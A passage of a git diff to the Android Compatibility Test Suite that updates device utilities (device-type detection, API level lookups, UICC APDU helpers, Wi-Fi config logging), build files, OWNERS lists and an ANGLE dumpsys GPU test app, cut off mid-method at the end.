      * considering long press timeout and touch slop.
      *
      * The calculation is based on the distance between the first and the second point of provided
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
index d620219..0c7cfdd 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
@@ -52,6 +52,7 @@
         String uriPath = String.format("%s/%s/%s.dynamic", CONTENT_PROVIDER, configFolder.getAbsolutePath(), moduleName);
         Uri sdcardUri = Uri.parse(uriPath);
         Context appContext = InstrumentationRegistry.getTargetContext();
+        FileNotFoundException original = null;
         try {
             ContentResolver resolver = appContext.getContentResolver();
             ParcelFileDescriptor descriptor = resolver.openFileDescriptor(sdcardUri,"r");
@@ -61,9 +62,17 @@
         } catch (FileNotFoundException e) {
             // Log the error and use the fallback too
             Log.e("DynamicConfigDeviceSide", "Error while using content provider for config", e);
+            original = e;
         }
         // Fallback to the direct search
-        File configFile = getConfigFile(configFolder, moduleName);
-        initializeConfig(configFile);
+        try {
+            File configFile = getConfigFile(configFolder, moduleName);
+            initializeConfig(configFile);
+            return;
+        } catch (FileNotFoundException e) {
+            Log.e("DynamicConfigDeviceSide", "Failed the direct search fallback for " + moduleName);
+        }
+        // Throw the original exception as it was the expected one.
+        throw original;
     }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
index 8318201..488c73f 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
@@ -16,6 +16,9 @@
 package com.android.compatibility.common.util;
 
 import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.content.res.AssetFileDescriptor;
 import android.drm.DrmConvertedStatus;
 import android.drm.DrmManagerClient;
@@ -32,10 +35,16 @@
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.net.Uri;
+import android.os.BatteryManager;
 import android.os.Build;
+import android.os.SystemProperties;
 import android.os.ParcelFileDescriptor;
+import android.util.DisplayMetrics;
 import android.util.Log;
 import android.util.Range;
+import android.view.WindowManager;
+
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.ResultType;
@@ -61,6 +70,11 @@
 
 public class MediaUtils {
     private static final String TAG = "MediaUtils";
+    private static final Context mContext =
+            InstrumentationRegistry.getInstrumentation().getTargetContext();
+    private static final PackageManager pm = mContext.getPackageManager();
+    private static final boolean FIRST_SDK_IS_AT_LEAST_R =
+            ApiLevelUtil.isFirstApiAtLeast(Build.VERSION_CODES.R);
 
     /*
      *  ----------------------- HELPER METHODS FOR SKIPPING TESTS -----------------------
@@ -408,6 +422,9 @@
         } catch (IOException e) {
             Log.w(TAG, "codec not found: " + codecName);
             return false;
+        } catch (NullPointerException e) {
+            Log.w(TAG, "codec name is null");
+            return false;
         }
 
         String mime = format.getString(MediaFormat.KEY_MIME);
@@ -1409,14 +1426,78 @@
         return result.toString();
     }
 
+
+    /*
+     *  ------------------- HELPER METHODS FOR DETECTING DEVICE TYPES -------------------
+     */
+
+    public static boolean hasDeviceGotBattery() {
+        final Intent batteryInfo = mContext.registerReceiver(null,
+                new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+        return batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true);
+    }
+
+    public static double getScreenSizeInInches() {
+        DisplayMetrics dm = mContext.getResources().getDisplayMetrics();
+        double widthInInchesSquared = Math.pow(dm.widthPixels/dm.xdpi,2);
+        double heightInInchesSquared = Math.pow(dm.heightPixels/dm.ydpi,2);
+        double diagonalInInches = Math.sqrt(widthInInchesSquared + heightInInchesSquared);
+        return diagonalInInches;
+    }
+
+    public static boolean isTv() {
+        return pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK) ||
+                pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION);
+    }
+
+    public static boolean hasMicrophone() {
+        return pm.hasSystemFeature(PackageManager.FEATURE_MICROPHONE);
+    }
+
+    public static boolean hasCamera() {
+        return pm.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY);
+    }
+
+    public static boolean isWatch() {
+        return pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+    }
+
+    public static boolean isAutomotive() {
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
+    public static boolean isPc() {
+        return pm.hasSystemFeature(PackageManager.FEATURE_PC);
+    }
+
+    public static boolean hasAudioOutput() {
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
+    }
+
+    public static boolean isHandheld() {
+        double screenSize = getScreenSizeInInches();
+        if (screenSize < (FIRST_SDK_IS_AT_LEAST_R ? 3.3 : 2.5)) return false;
+        if (screenSize > 8.0) return false;
+        if (!hasDeviceGotBattery()) return false;
+        return true;
+    }
+
+    public static boolean isTablet() {
+        double screenSize = getScreenSizeInInches();
+        if (screenSize < 7.0) return false;
+        if (screenSize > 18.0) return false;
+        if (!hasDeviceGotBattery()) return false;
+        return true;
+    }
+
     /*
      *  ------------------- HELPER METHODS FOR DETECTING NON-PRODUCTION DEVICES -------------------
      */
 
     /*
      *  Some parts of media CTS verifies device characterization that does not make sense for
-     *  non-production devices (such as GSI). We call these devices 'frankenDevices'. We may
-     *  also limit test duration on these devices.
+     *  non-production devices (such as GSI and cuttlefish). We call these devices 'frankenDevices'.
+     *  We may also limit test duration on these devices.
      */
     public static boolean onFrankenDevice() throws IOException {
         String systemBrand = PropertyUtil.getProperty("ro.product.system.brand");
@@ -1429,6 +1510,10 @@
             if (systemExtProduct != null) {
                 systemProduct = systemExtProduct;
             }
+            String systemExtModel = PropertyUtil.getProperty("ro.product.system_ext.model");
+            if (systemExtModel != null) {
+                systemModel = systemExtModel;
+            }
         }
 
         if (("Android".equals(systemBrand) || "generic".equals(systemBrand) ||
@@ -1437,6 +1522,13 @@
                 systemModel.startsWith("GSI on ") || systemProduct.startsWith("gsi_"))) {
             return true;
         }
+
+        // Return true for cuttlefish instances
+        if ((systemBrand.equals("Android") || systemBrand.equals("google")) &&
+                (systemProduct.startsWith("cf_") || systemProduct.startsWith("aosp_cf_") ||
+                        systemModel.startsWith("Cuttlefish "))) {
+            return true;
+        }
         return false;
     }
 
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS b/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
index 6da0176..c7cf374 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
@@ -1 +1 @@
-per-file BaseDefaultPermissionGrantPolicyTest.java = ewol@google.com, narayan@google.com, svetoslavganov@google.com
+per-file BaseDefaultPermissionGrantPolicyTest.java = file:platform/frameworks/base:/core/java/android/permission/DEFAULT_PERMISSION_GRANT_POLICY_OWNERS
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
index 70c9362..4125ede 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -38,13 +38,13 @@
      * shipped. Property should be undefined for factory ROM products.
      */
     public static final String FIRST_API_LEVEL = "ro.product.first_api_level";
+    private static final String BOARD_API_LEVEL = "ro.board.api_level";
+    private static final String BOARD_FIRST_API_LEVEL = "ro.board.first_api_level";
     private static final String BUILD_TYPE_PROPERTY = "ro.build.type";
+    private static final String CAMERAX_EXTENSIONS_ENABLED = "ro.camerax.extensions.enabled";
     private static final String MANUFACTURER_PROPERTY = "ro.product.manufacturer";
     private static final String TAG_DEV_KEYS = "dev-keys";
-    private static final String VENDOR_API_LEVEL = "ro.board.api_level";
-    private static final String VENDOR_FIRST_API_LEVEL = "ro.board.first_api_level";
     private static final String VNDK_VERSION = "ro.vndk.version";
-    private static final String CAMERAX_EXTENSIONS_ENABLED = "ro.camerax.extensions.enabled";
 
     public static final String GOOGLE_SETTINGS_QUERY =
             "content query --uri content://com.google.settings/partner";
@@ -89,6 +89,23 @@
     }
 
     /**
+     * Return the API level that the VSR requirement must be fulfilled. It reads
+     * ro.product.first_api_level and ro.board.first_api_level to find the minimum required VSR
+     * api_level for the DUT.
+     */
+    public static int getVsrApiLevel() {
+        // Api level properties of the board. The order of the properties must be kept.
+        String[] boardApiLevelProps = {BOARD_API_LEVEL, BOARD_FIRST_API_LEVEL};
+        for (String apiLevelProp : boardApiLevelProps) {
+            int apiLevel = getPropertyInt(apiLevelProp);
+            if (apiLevel != INT_VALUE_IF_UNSET) {
+                return Math.min(apiLevel, getFirstApiLevel());
+            }
+        }
+        return getFirstApiLevel();
+    }
+
+    /**
      * Return the API level of the vendor partition. It will read the following properties in order
      * and returns the value of the first defined property. If none of them are defined, or the
      * value is a VERSION CODENAME, returns the current API level which is defined in
@@ -103,7 +120,7 @@
     public static int getVendorApiLevel() {
         String[] vendorApiLevelProps = {
             // Use the properties in order.
-            VENDOR_API_LEVEL, VENDOR_FIRST_API_LEVEL, VNDK_VERSION,
+            BOARD_API_LEVEL, BOARD_FIRST_API_LEVEL, VNDK_VERSION,
         };
         for (String prop : vendorApiLevelProps) {
             int apiLevel = getPropertyInt(prop);
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiccUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiccUtil.java
index 69b59e8..4adab28 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiccUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiccUtil.java
@@ -19,6 +19,7 @@
 import android.Manifest;
 import android.telephony.TelephonyManager;
 
+import androidx.annotation.Nullable;
 import androidx.annotation.StringDef;
 import androidx.test.InstrumentationRegistry;
 
@@ -26,18 +27,78 @@
 
 /** Utility class for common UICC- and SIM-related operations. */
 public final class UiccUtil {
-    /** The hashes of all supported CTS UICC test keys and their corresponding specification. */
+
+    // A table mapping from a number to a hex character for fast encoding hex strings.
+    private static final char[] HEX_CHARS = {
+        '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'
+    };
+
+    /**
+     * Data class representing a single APDU transmission.
+     *
+     * <p>Constants are defined in TS 102 221 Section 10.1.2.
+     */
+    public static final class ApduCommand {
+        public static final int INS_GET_RESPONSE = 0xC0;
+
+        public final int cla;
+        public final int ins;
+        public final int p1;
+        public final int p2;
+        public final int p3;
+        @Nullable public final String data;
+
+        public ApduCommand(int cla, int ins, int p1, int p2, int p3, @Nullable String data) {
+            this.cla = cla;
+            this.ins = ins;
+            this.p1 = p1;
+            this.p2 = p2;
+            this.p3 = p3;
+            this.data = data;
+        }
+
+        @Override
+        public String toString() {
+            return "cla=0x"
+                    + Integer.toHexString(cla)
+                    + ", ins=0x"
+                    + Integer.toHexString(ins)
+                    + ", p1=0x"
+                    + Integer.toHexString(p1)
+                    + ", p2=0x"
+                    + Integer.toHexString(p2)
+                    + ", p3=0x"
+                    + Integer.toHexString(p3)
+                    + ", data="
+                    + data;
+        }
+    }
+
+    /** Various APDU status words and their meanings, as defined in TS 102 221 Section 10.2.1 */
+    public static final class ApduResponse {
+        public static final String SW1_MORE_RESPONSE = "61";
+
+        public static final String SW1_SW2_OK = "9000";
+        public static final String SW1_OK_PROACTIVE_COMMAND = "91";
+    }
+
+    /**
+     * The hashes of all supported CTS UICC test keys and their corresponding specification.
+     *
+     * <p>For up-to-date information about the CTS SIM specification, please see
+     * https://source.android.com/devices/tech/config/uicc#validation.
+     */
     @StringDef({UiccCertificate.CTS_UICC_LEGACY, UiccCertificate.CTS_UICC_2021})
     public @interface UiccCertificate {
 
         /**
          * Indicates compliance with the "legacy" CTS UICC specification (prior to 2021).
          *
-         * <p>Deprecated as of 2021, support to be removed in 2022.
-         *
          * <p>Corresponding certificate: {@code aosp-testkey}.
+         *
+         * @deprecated as of 2021, and no longer supported as of 2022.
          */
-        String CTS_UICC_LEGACY = "61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81";
+        @Deprecated String CTS_UICC_LEGACY = "61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81";
 
         /**
          * Indicates compliance with the 2021 CTS UICC specification.
@@ -72,4 +133,27 @@
                         Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
         return uiccCerts == null ? false : uiccCerts.contains(requiredCert);
     }
+
+    /**
+     * Converts a byte array into a String of hexadecimal characters.
+     *
+     * @param bytes an array of bytes
+     * @return hex string representation of bytes array
+     */
+    @Nullable
+    public static String bytesToHexString(@Nullable byte[] bytes) {
+        if (bytes == null) return null;
+
+        StringBuilder ret = new StringBuilder(2 * bytes.length);
+
+        for (int i = 0; i < bytes.length; i++) {
+            int b;
+            b = 0x0f & (bytes[i] >> 4);
+            ret.append(HEX_CHARS[b]);
+            b = 0x0f & bytes[i];
+            ret.append(HEX_CHARS[b]);
+        }
+
+        return ret.toString();
+    }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
index 5aa36c9..30084ea 100755
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
@@ -27,6 +27,7 @@
 import android.net.Uri;
 import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiManager;
+import android.os.Process;
 import android.text.TextUtils;
 import android.util.Log;
 
@@ -61,6 +62,7 @@
 
     private final Context mContext;
     private final WifiManager mWifiManager;
+    private WifiManager mCurrentUserWifiManager;
 
     public WifiConfigCreator(Context context) {
         this(context, context.getApplicationContext().getSystemService(WifiManager.class));
@@ -69,6 +71,15 @@
     public WifiConfigCreator(Context context, WifiManager wifiManager) {
         mContext = context;
         mWifiManager = wifiManager;
+        mCurrentUserWifiManager = mContext.getSystemService(WifiManager.class);
+        Log.d(TAG, "WifiConfigCreator: user=" + Process.myUserHandle() + ", ctx=" + context
+                + ", mgr=" + mWifiManager + ", currentUserMgr=" + mCurrentUserWifiManager);
+    }
+
+    @Override
+    public String toString() {
+        return "WifiConfigCreator[mWifiManager=" + mWifiManager
+                + ",mCurrentUserWifiManager=" + mCurrentUserWifiManager + "]";
     }
 
     /**
@@ -81,6 +92,7 @@
 
         WifiConfiguration wifiConf = createConfig(ssid, hidden, securityType, password);
 
+        Log.i(TAG, "Adding SSID " + ssid + " using " + mWifiManager);
         int netId = mWifiManager.addNetwork(wifiConf);
 
         if (netId != -1) {
@@ -303,15 +315,17 @@
     }
 
     private List<WifiConfiguration> getConfiguredNetworksWithLogging() {
-        Log.d(TAG, "calling getConfiguredNetworks()");
-        List<WifiConfiguration> configuredNetworks = getConfiguredNetworks();
+        Log.d(TAG, "calling getConfiguredNetworks() using " + mCurrentUserWifiManager);
+        // Must use a the WifiManager of the current user to list networks, as
+        // getConfiguredNetworks() would return empty on systems using headless system
+        // mode as that method "Return a list of all the networks configured for the current
+        // foreground user", and the system user is running in the background in this case.
+        List<WifiConfiguration> configuredNetworks = mCurrentUserWifiManager
+                .getConfiguredNetworks();
         Log.d(TAG, "Got " + configuredNetworks.size() + " networks: "
-                + configuredNetworks.stream().map((c) -> c.SSID).collect(Collectors.toList()));
+                + configuredNetworks.stream().map((c) -> c.SSID + "/" + c.networkId)
+                        .collect(Collectors.toList()));
         return configuredNetworks;
     }
-
-    public List<WifiConfiguration> getConfiguredNetworks() {
-        return mWifiManager.getConfiguredNetworks();
-    }
 }
 
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS
index 994459d..cf88726 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS
@@ -1,3 +1,2 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
-
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
\ No newline at end of file
diff --git a/common/host-side/util-axt/Android.bp b/common/host-side/util-axt/Android.bp
index 3fcbc3e..a8a60d3 100644
--- a/common/host-side/util-axt/Android.bp
+++ b/common/host-side/util-axt/Android.bp
@@ -24,6 +24,7 @@
     srcs: ["src/**/*.java"],
 
     static_libs: [
+        "platformprotos",
     ],
 
     libs: [
diff --git a/hostsidetests/Android.mk b/hostsidetests/Android.mk
deleted file mode 100644
index c141484..0000000
--- a/hostsidetests/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-include $(call all-subdir-makefiles)
diff --git a/hostsidetests/accounts/test-apps/Android.mk b/hostsidetests/accounts/test-apps/Android.mk
deleted file mode 100644
index 0d4c793..0000000
--- a/hostsidetests/accounts/test-apps/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
-
diff --git a/hostsidetests/adb/Android.bp b/hostsidetests/adb/Android.bp
new file mode 100644
index 0000000..6d47637
--- /dev/null
+++ b/hostsidetests/adb/Android.bp
@@ -0,0 +1,33 @@
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsAdbHostTestCases",
+    defaults: ["cts_defaults"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    static_libs: [
+        "CtsAdbHostTestCases_res",
+    ],
+    srcs: ["src/**/*.java"],
+}
+
+java_genrule_host {
+    name: "CtsAdbHostTestCases_res",
+    tools: [
+        "soong_zip",
+        "check_ms_os_desc",
+    ],
+    out: ["CtsAdbHostTestCases_res.jar"],
+    cmd: "$(location soong_zip) -jar -o $(location CtsAdbHostTestCases_res.jar) " +
+        " -j -f $(location check_ms_os_desc)",
+}
diff --git a/hostsidetests/adb/Android.mk b/hostsidetests/adb/Android.mk
deleted file mode 100644
index bfa2b02..0000000
--- a/hostsidetests/adb/Android.mk
+++ /dev/null
@@ -1,14 +0,0 @@
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.host.adb
-LOCAL_MODULE := CtsAdbHostTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_CLASS := JAVA_LIBRARIES
-LOCAL_MODULE_TAGS := optional
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-LOCAL_JAVA_RESOURCE_FILES := $(HOST_OUT_EXECUTABLES)/check_ms_os_desc
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/adb/OWNERS b/hostsidetests/adb/OWNERS
index b07c3bb..5050f5c 100644
--- a/hostsidetests/adb/OWNERS
+++ b/hostsidetests/adb/OWNERS
@@ -1,3 +1,3 @@
 # Bug component: 1352
-jmgao@google.com
+shaju@google.com
 include platform/system/core:/janitors/OWNERS
diff --git a/hostsidetests/angle/OWNERS b/hostsidetests/angle/OWNERS
index 949f3a7..21522ca 100644
--- a/hostsidetests/angle/OWNERS
+++ b/hostsidetests/angle/OWNERS
@@ -1,7 +1,10 @@
 # Bug component: 452972
-timvp@google.com
-alanward@google.com
+abdolrashidi@google.com
+cclao@google.com
+chrisforbes@google.com
 cnorthrop@google.com
-courtneygo@google.com
 ianelliott@google.com
-tobine@google.com
+lfy@google.com
+romanl@google.com
+vantablack@google.com
+yuxinhu@google.com
diff --git a/hostsidetests/angle/app/dumpsysGpuTest/src/Android.bp b/hostsidetests/angle/app/dumpsysGpuTest/src/Android.bp
new file mode 100644
index 0000000..7248e4c
--- /dev/null
+++ b/hostsidetests/angle/app/dumpsysGpuTest/src/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAngleDumpsysGpuTestApp",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/angle/app/dumpsysGpuTest/src/AndroidManifest.xml b/hostsidetests/angle/app/dumpsysGpuTest/src/AndroidManifest.xml
new file mode 100755
index 0000000..310bf00
--- /dev/null
+++ b/hostsidetests/angle/app/dumpsysGpuTest/src/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.angleintegrationtest.dumpsysgputest">
+
+    <application android:multiArch="true">
+        <uses-library android:name="android.test.runner"/>
+
+        <activity android:name=".AngleDumpsysGpuTestActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/angle/app/dumpsysGpuTest/src/com/android/angleIntegrationTest/dumpsysGpuTest/AngleDumpsysGpuTestActivity.java b/hostsidetests/angle/app/dumpsysGpuTest/src/com/android/angleIntegrationTest/dumpsysGpuTest/AngleDumpsysGpuTestActivity.java
new file mode 100644
index 0000000..d2da852
--- /dev/null
+++ b/hostsidetests/angle/app/dumpsysGpuTest/src/com/android/angleIntegrationTest/dumpsysGpuTest/AngleDumpsysGpuTestActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.angleintegrationtest.dumpsysgputest;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * A simple activity for testing `dumpsys gpu`.
+ */
+public class AngleDumpsysGpuTestActivity extends Activity {
+
+    private static final String TAG = AngleDumpsysGpuTestActivity.class.getSimpleName();
+
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        Log.i(TAG, "Launched activity.");
+    }
+}
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
index e35e270..ba33966 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
@@ -17,7 +17,6 @@
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.device.PackageInfo;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import java.util.HashMap;
 import java.util.Map;
@@ -40,22 +39,30 @@
     // Rules File
     static final String DEVICE_TEMP_RULES_FILE_DIRECTORY = "/data/local/tmp";
     static final String DEVICE_TEMP_RULES_FILE_FILENAME = "a4a_rules.json";
-    static final String DEVICE_TEMP_RULES_FILE_PATH = DEVICE_TEMP_RULES_FILE_DIRECTORY + "/" + DEVICE_TEMP_RULES_FILE_FILENAME;
+    static final String DEVICE_TEMP_RULES_FILE_PATH =
+            DEVICE_TEMP_RULES_FILE_DIRECTORY + "/" + DEVICE_TEMP_RULES_FILE_FILENAME;
 
     // ANGLE
     static final String ANGLE_PACKAGE_NAME = "com.android.angle";
     static final String ANGLE_DRIVER_TEST_PKG = "com.android.angleIntegrationTest.driverTest";
-    static final String ANGLE_DRIVER_TEST_SEC_PKG = "com.android.angleIntegrationTest.driverTestSecondary";
+    static final String ANGLE_DRIVER_TEST_SEC_PKG =
+            "com.android.angleIntegrationTest.driverTestSecondary";
     static final String ANGLE_DRIVER_TEST_CLASS = "AngleDriverTestActivity";
     static final String ANGLE_DRIVER_TEST_DEFAULT_METHOD = "testUseDefaultDriver";
     static final String ANGLE_DRIVER_TEST_ANGLE_METHOD = "testUseAngleDriver";
     static final String ANGLE_DRIVER_TEST_NATIVE_METHOD = "testUseNativeDriver";
     static final String ANGLE_DRIVER_TEST_APP = "CtsAngleDriverTestCases.apk";
     static final String ANGLE_DRIVER_TEST_SEC_APP = "CtsAngleDriverTestCasesSecondary.apk";
+    static final String ANGLE_DUMPSYS_GPU_TEST_PKG =
+            "com.android.angleintegrationtest.dumpsysgputest";
+    static final String ANGLE_DUMPSYS_GPU_TEST_CLASS = "AngleDumpsysGpuTestActivity";
+    static final String ANGLE_DUMPSYS_GPU_TEST_APP = "CtsAngleDumpsysGpuTestApp.apk";
     static final String ANGLE_DRIVER_TEST_ACTIVITY =
-            ANGLE_DRIVER_TEST_PKG + "/com.android.angleIntegrationTest.common.AngleIntegrationTestActivity";
+            ANGLE_DRIVER_TEST_PKG
+                    + "/com.android.angleIntegrationTest.common.AngleIntegrationTestActivity";
     static final String ANGLE_DRIVER_TEST_SEC_ACTIVITY =
-            ANGLE_DRIVER_TEST_SEC_PKG + "/com.android.angleIntegrationTest.common.AngleIntegrationTestActivity";
+            ANGLE_DRIVER_TEST_SEC_PKG
+                    + "/com.android.angleIntegrationTest.common.AngleIntegrationTestActivity";
 
     enum OpenGlDriverChoice {
         DEFAULT,
@@ -63,7 +70,9 @@
         ANGLE
     }
 
-    static final Map<OpenGlDriverChoice, String> sDriverGlobalSettingMap = buildDriverGlobalSettingMap();
+    static final Map<OpenGlDriverChoice, String> sDriverGlobalSettingMap =
+            buildDriverGlobalSettingMap();
+
     static Map<OpenGlDriverChoice, String> buildDriverGlobalSettingMap() {
         Map<OpenGlDriverChoice, String> map = new HashMap<>();
         map.put(OpenGlDriverChoice.DEFAULT, "default");
@@ -74,6 +83,7 @@
     }
 
     static final Map<OpenGlDriverChoice, String> sDriverTestMethodMap = buildDriverTestMethodMap();
+
     static Map<OpenGlDriverChoice, String> buildDriverTestMethodMap() {
         Map<OpenGlDriverChoice, String> map = new HashMap<>();
         map.put(OpenGlDriverChoice.DEFAULT, ANGLE_DRIVER_TEST_DEFAULT_METHOD);
@@ -87,7 +97,8 @@
         return device.getSetting("global", globalSetting);
     }
 
-    static void setGlobalSetting(ITestDevice device, String globalSetting, String value) throws Exception {
+    static void setGlobalSetting(ITestDevice device, String globalSetting, String value)
+            throws Exception {
         device.setSetting("global", globalSetting, value);
         device.executeShellCommand("am refresh-settings-cache");
     }
@@ -116,6 +127,13 @@
         return (driverProp != null) && (driverProp.equals("angle"));
     }
 
+    static void startActivity(ITestDevice device, String pkgName, String className)
+            throws Exception {
+        String startCommand = String.format(
